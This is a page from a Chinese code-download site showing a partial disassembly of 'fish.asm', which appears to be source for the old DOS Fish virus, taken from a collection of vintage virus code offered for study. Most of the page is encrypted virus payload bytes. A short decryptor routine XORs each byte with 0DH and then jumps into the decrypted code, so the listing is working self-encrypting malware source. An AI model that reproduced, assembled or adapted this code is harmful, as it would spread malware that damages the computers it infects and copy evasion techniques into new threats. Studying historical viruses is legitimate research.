⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 fish.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
                DB      0E5H,0A1H, 0FH, 5FH,0B9H, 3BH
                DB       23H, 87H, 1BH, 25H, 03H,0E5H
                DB      0FFH,0FBH,0FAH,0ECH,0FAH,0EEH
                DB       84H,0DEH, 57H, 06H,0D6H, 78H
                DB       08H, 30H, 0DH, 4DH, 7FH, 45H
                DB      0B5H, 0DH, 4EH,0E5H,0D1H,0FBH
                DB       7FH, 4DH, 23H, 84H, 1BH,0F9H
                DB       03H, 23H, 84H, 03H,0FFH, 03H
                DB       23H, 81H, 13H,0FBH, 03H,0B5H
                DB       0CH, 4EH, 3EH,0C4H,0E5H,0CEH
                DB      0FBH, 23H, 8DH, 33H,0D7H, 03H
                DB       0DH, 78H, 2CH,0B5H, 0FH, 30H
                DB      0E5H,0B8H,0FBH, 7FH, 14H, 86H
                DB      0D5H, 5EH,0B9H, 3FH, 23H, 87H
                DB       1BH, 25H, 03H,0E5H,0ABH,0FBH
                DB       86H, 4AH, 13H, 23H,0AEH,0E1H
                DB       03H, 56H,0E5H,0C7H, 0FH,0CEH
                DB       3EH,0D6H, 46H,0E5H,0CEH, 0FH
                DB      0CEH, 5CH, 5FH, 5DH,0B5H, 0DH
                DB       49H,0E5H, 87H,0FBH, 8DH,0FFH
                DB       8DH,0FBH,0CFH, 8DH, 79H, 04H
                DB      0B5H, 0DH, 5AH,0E5H, 71H,0FBH
                DB      0FBH,0CBH, 8DH, 55H, 57H, 54H
                DB      0CEH,0E5H,0C0H,0FBH, 3EH,0C4H
                DB      0B5H, 0CH, 4FH, 3EH,0DFH,0E5H
                DB       65H,0FBH, 23H, 84H, 1BH,0AAH
                DB       03H, 23H,0AEH,0A8H, 03H,0B5H
                DB       0FH, 4FH, 3EH,0C4H, 3EH,0DFH
                DB      0E5H, 58H,0FBH, 23H, 84H, 1BH
                DB      0A6H, 03H, 23H,0AEH,0A4H, 03H
                DB      0B5H, 0DH, 4FH, 23H, 86H, 1BH
                DB      0A8H, 03H, 23H, 86H, 03H,0AAH
                DB       03H,0E5H, 31H,0FBH,0E5H, 62H
                DB      0FBH,0CEH, 4BH, 44H, 5EH, 45H
                DB       07H,0CDH, 78H, 2FH, 23H, 8EH
                DB       2BH,0BEH, 03H,0F3H,0E5H, 48H
                DB      0FBH,0E5H, 29H,0FBH, 7FH, 06H
                DB      0FBH,0CBH, 8DH, 79H, 0EH, 8DH
                DB      0E3H,0C5H,0E4H, 15H,0F4H, 23H
                DB       8EH, 03H,0BEH, 03H, 0CH,0E4H
                DB       02H,0F4H, 31H, 0CH, 78H, 3AH
                DB       23H, 8EH, 2BH,0BEH, 03H,0F3H
                DB      0FBH,0CBH, 8DH, 79H, 0EH, 8DH
                DB      0E3H,0C5H,0E5H, 6BH,0F2H, 79H
                DB       0EH, 8DH,0CBH,0C5H,0E5H,0FCH
                DB      0F8H, 84H, 4BH,0F1H, 23H, 8EH
                DB       1BH,0BEH, 03H, 0DH,0E4H, 48H
                DB      0F4H, 31H, 0FH, 78H, 03H,0E5H
                DB       46H,0F2H, 79H, 04H, 8CH, 63H
                DB      0FBH, 0DH, 03H, 8EH, 53H,0F5H
                DB       0DH,0E4H,0C0H,0F5H,0E5H,0D5H
                DB      0F8H,0B9H, 27H,0E5H,0C5H,0F8H
                DB       8CH,0F4H,0CAH, 0AH, 7FH, 06H
                DB      0B9H, 04H, 03H, 12H,0B7H,0A6H
                DB       0CH,0E5H,0B5H,0F8H,0F9H,0E5H
                DB      0DFH,0F8H,0CEH, 23H, 8DH, 2BH
                DB      0BEH, 03H,0F3H,0E5H, 1AH,0F2H
                DB       79H,0D8H, 23H, 84H, 1BH,0A0H
                DB       03H, 23H, 84H, 03H,0A2H, 03H
                DB       23H,0CAH, 0BH,0BCH, 03H, 0DH
                DB       0DH,0E5H, 12H,0F2H, 23H,0ACH
                DB      0A4H, 03H, 23H, 86H, 1BH,0A6H
                DB       03H, 20H, 0DH, 03H, 8EH,0D7H
                DB       0DH, 23H, 26H, 0BH,0A8H, 03H
                DB       23H, 16H, 1BH,0AAH, 03H, 74H
                DB       05H,0CAH, 4BH,0F1H, 0DH, 0DH
                DB      0E4H, 20H,0F7H, 78H, 05H, 36H
                DB      0CCH, 7AH, 09H, 23H,0AEH,0A2H
                DB       03H, 23H, 86H, 03H,0AAH, 03H
                DB       23H, 86H, 1BH,0A8H, 03H, 06H
                DB      0C4H, 78H, 08H, 8EH,0F7H, 11H
                DB       7BH, 17H, 23H, 86H, 1BH,0A0H
                DB       03H,0B9H, 32H, 23H, 86H, 03H
                DB      0A2H, 03H,0E5H, 48H,0F8H, 23H
                DB       0EH, 0BH,0BCH, 03H, 84H, 4BH
                DB      0F1H,0E4H, 97H,0F5H, 84H,0DAH
                DB       84H,0DBH, 23H, 0EH, 33H,0A2H
                DB       03H, 8EH,0F2H, 11H, 7FH, 05H
                DB       3EH,0F2H,0E6H, 04H, 59H, 58H
                DB       43H, 4CH, 8EH,0E2H, 11H,0FAH
                DB      0D2H, 86H,0CFH, 23H, 86H, 1BH
                DB      0A4H, 03H, 23H, 86H, 03H,0A6H
                DB       03H, 8EH,0CFH, 02H, 8EH,0DCH
                DB       0DH, 8EH,0EFH,0FDH, 8CH,0E7H
                DB      0F1H, 00H, 8EH,0D4H, 0DH, 0CH
                DB      0CFH, 8EH,0DCH, 0DH,0B5H, 0DH
                DB       4FH,0E5H,0F5H,0F9H,0B4H, 11H
                DB       0DH, 24H,0F4H, 24H,0FCH,0B9H
                DB       32H, 23H, 86H, 1BH,0A0H, 03H
                DB      0E5H,0EAH,0F9H, 23H, 0CH, 0BH
                DB      0A0H, 03H, 23H, 24H, 0BH,0A2H
                DB       03H, 23H, 0CH, 0BH,0BCH, 03H
                DB       3EH,0C4H,0B5H, 0DH, 4FH,0B7H
                DB       11H, 0DH,0E5H,0C0H,0F9H,0E4H
                DB       7BH,0F2H, 23H, 2CH, 2BH, 3CH
                DB       03H,0E4H, 35H, 0CH, 23H, 8EH
                DB       2BH,0BEH, 03H,0F3H,0E5H,0DAH
                DB      0F9H,0E5H,0BBH,0F9H,0E5H,0B3H
                DB      0F9H, 7EH, 04H, 23H, 8EH, 03H
                DB      0BEH, 03H, 0CH,0E4H, 05H,0F5H
                DB      0E5H, 94H,0F4H,0FBH, 4AH, 14H
                DB       8DH, 78H, 0EH,0E4H,0F1H,0FAH
                DB       8CH, 62H, 17H, 0DH, 03H, 8EH
                DB       52H, 11H
                DB       0DH, 8DH, 62H
LOC_3:
                ADC     AL,0C5H
                IN      AL,0E1H                                 ; port 0E1H, Memory encode reg1
                CLI                                             ; Disable interrupts
                OUT     83H,AL                                  ; port 83H, DMA page reg ch 1
                OR      CX,[BX+SI+3]
                OR      DX,[BP+SI]
                DB      0F3H, 03H, 0EH, 0DH, 81H,0D7H
                DB       47H, 83H,0D7H,0ACH, 0EH, 0DH
                DB      0F3H,0C1H, 0CH,0CFH,0AEH, 0EH
                DB       0DH, 52H, 4FH, 83H,0CFH, 03H
                DB       12H,0E5H,0D2H, 0DH,0ACH,0B3H
                DB      0F3H, 02H,0B4H, 0DH, 05H, 84H
                DB      0FAH,0F0H,0FEH,0A8H,0F1H, 0BH
                DB      0B5H,0D0H, 0CH, 5DH, 23H, 83H
                DB       0BH, 48H, 03H,0C6H, 23H,0CBH
                DB       0BH,0D7H, 03H, 0DH,0E5H,0AEH
                DB      0F9H, 03H,0E5H, 77H,0F2H, 85H
                DB      0BDH, 1EH, 12H,0E5H,0F1H,0F9H
                DB       81H, 0BH, 22H, 03H, 84H, 13H
                DB       20H, 03H, 81H, 0BH, 36H, 03H
                DB      0BFH, 0FH, 84H, 13H, 34H, 03H
                DB       85H, 1BH, 5DH, 03H,0E5H,0CFH
                DB      0F9H, 84H, 2BH,0D2H, 03H, 81H
                DB       1BH,0D0H, 03H, 03H,0B5H, 24H
                DB       01H, 5DH,0B5H, 7DH, 0DH,0B4H
                DB      0F2H,0F2H, 83H,0CDH, 3EH,0F2H
                DB      0BDH,0C6H,0FFH,0A3H, 42H, 91H
                DB       0BH, 5AH, 91H, 55H, 8DH,0C1H
                DB       0CH, 5DH, 90H, 3EH,0CDH,0F2H
                DB       23H, 20H, 03H, 03H, 12H,0E5H
                DB       64H, 0DH, 81H,0BDH, 1EH,0B7H
                DB       9DH, 00H,0E5H, 9EH,0F9H,0BDH
                DB       29H,0E5H,0A9H,0F9H, 84H, 13H
                DB       30H, 03H,0B7H,0C8H, 00H,0BDH
                DB       29H, 81H, 0BH, 32H, 03H,0E5H
                DB       73H,0F9H,0E5H, 05H,0F9H,0CEH
                DB      0E5H, 24H,0F9H, 23H,0C8H, 1BH
                DB       34H, 03H,0BDH, 1EH,0E5H, 60H
                DB      0F9H, 23H,0C8H, 1BH, 30H, 03H
                DB      0BDH, 29H,0E5H, 6EH,0F9H,0E5H
                DB      0E0H,0FEH,0CEH, 58H, 84H,0E8H
                DB       8CH, 6BH, 0BH,0F2H,0F3H,0F2H
                DB       4BH, 17H, 50H,0C2H, 23H,0CAH
                DB       0BH, 5DH, 03H, 0CH, 09H,0E5H
                DB       30H,0F9H,0E5H,0B7H,0FEH, 5DH
                DB       23H,0ACH,0BEH, 03H, 00H, 0DH
                DB       0CH, 5DH, 90H, 55H, 50H, 23H
                DB      0F2H, 23H, 38H, 03H, 84H,0E5H
                DB       9FH,0FEH,0BDH, 0CH,0B7H, 66H
                DB       01H, 03H, 12H,0E5H, 2BH,0F9H
                DB       91H, 55H, 00H, 0DH, 0CH, 5DH
                DB       90H, 4DH,0FAH,0EDH, 3AH,0AEH
                DB       3CH, 03H,0E5H, 87H,0FEH,0CEH
                DB      0F2H, 58H, 84H,0E8H, 5DH, 8CH
                DB       73H, 09H, 0DH,0CDH, 7EH, 01H
                DB       23H,0ACH, 4AH, 03H, 34H, 4BH
                DB       09H, 7BH, 0EH, 55H, 50H,0C2H
                DB       23H, 8DH, 33H, 5DH, 03H, 0CH
                DB       79H, 2BH, 86H, 4BH, 09H, 23H
                DB      0AEH, 22H, 03H, 86H, 4BH, 0FH
                DB       23H,0AEH, 20H, 03H, 7FH, 02H
                DB       55H, 50H, 23H, 86H, 2BH,0D2H
                DB       03H, 23H, 83H, 1BH,0D0H, 03H
                DB      0E4H, 39H,0F2H, 8CH, 6BH, 0BH
                DB      0F2H,0F3H,0E6H,0C2H, 23H,0F3H
                DB       03H, 5CH, 03H, 78H,0C5H, 8CH
                DB       6BH, 0BH,0F2H,0F3H,0E5H, 7CH
                DB      0FEH,0E5H, 13H,0FEH,0B9H, 21H
                DB      0E5H, 03H,0FEH, 23H, 85H, 1BH
                DB       5CH, 00H, 23H, 85H, 1BH, 63H
                DB       00H, 8DH,0E1H, 0FH,0E5H,0F3H
                DB      0FFH, 0FH,0FFH
DATA_4          DD      893B8523H
                DB       00H, 23H, 85H, 3BH,0D1H, 00H
                DB      0BDH, 0EH,0E5H,0A1H,0FEH, 0BH
                DB       12H, 84H,0D7H,0BDH, 0CH,0E5H
                DB       80H,0FEH,0E5H,0F2H,0FFH,0E5H
                DB       52H,0FEH,0E5H, 1CH,0FEH, 5EH
                DB       5CH,0B6H, 25H, 0DH,0B4H, 8AH
                DB       0FH, 23H, 8DH, 3AH, 10H, 8EH
                DB      0CEH, 08H,0EFH,0FAH, 54H, 56H
                DB      0E6H, 97H, 23H, 8DH, 03H, 25H
                DB       0DH, 0DH, 79H, 1EH, 5EH, 5CH
                DB      0B6H, 25H, 0DH,0B4H, 8AH, 0FH
                DB       23H, 8DH, 3AH, 10H, 8EH,0CEH
                DB       08H,0EFH,0FAH, 54H, 56H,0E4H
                DB      0FEH,0F9H, 5CH, 5EH,0B6H, 25H
                DB       0DH,0B4H, 55H, 0DH, 2EH, 80H
                DB       37H, 0DH, 43H,0E2H,0F9H, 5BH
                DB       59H,0E8H, 94H,0F2H,0EBH, 3FH
                DB      0B8H, 2EH, 8FH, 06H, 41H, 0EH
                DB       2EH, 8FH, 06H, 43H, 0EH, 2EH
                DB       8FH, 06H,0DBH, 0EH, 2EH, 83H
                DB       26H,0DBH, 0EH,0FEH, 2EH, 80H
                DB       3EH,0DAH, 0EH, 00H, 75H, 11H
                DB       2EH,0FFH, 36H,0DBH, 0EH, 2EH
                DB      0FFH, 1EH, 2DH, 0EH, 73H, 06H
                DB       2EH,0FEH, 06H,0DAH, 0EH,0F9H
                DB       2EH,0FFH, 2EH, 41H, 0EH, 89H
                DB       32H,0C0H, 2EH,0C6H, 06H,0DAH
                DB       0EH, 01H,0CFH
LOC_4:
                CALL    SUB_1                                   ; (0EE1)
  
FISH            ENDP
  
;==========================================================================
;                              SUBROUTINE
;==========================================================================
  
SUB_1           PROC    NEAR
                POP     BX
                SUB     BX,0DA9H
                MOV     CX,0D58H
  
LOCLOOP_5:
                XOR     BYTE PTR CS:[BX],0DH
                INC     BX
                LOOP    LOCLOOP_5                               ; Loop if cx > 0
  
                DEC     BYTE PTR CS:DATA_1E[BX]                 ; (97E0:00B3=0)
                JZ      LOC_RET_6                               ; Jump if zero
                JMP     LOC_2                                   ; (035A)
  
LOC_RET_6:
                RETN
SUB_1           ENDP
  
                AND     [BP+49H],AL
                PUSH    BX
                DEC     AX
                AND     [BP],AL
  
SEG_A           ENDS
  
  
  
                END     START

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -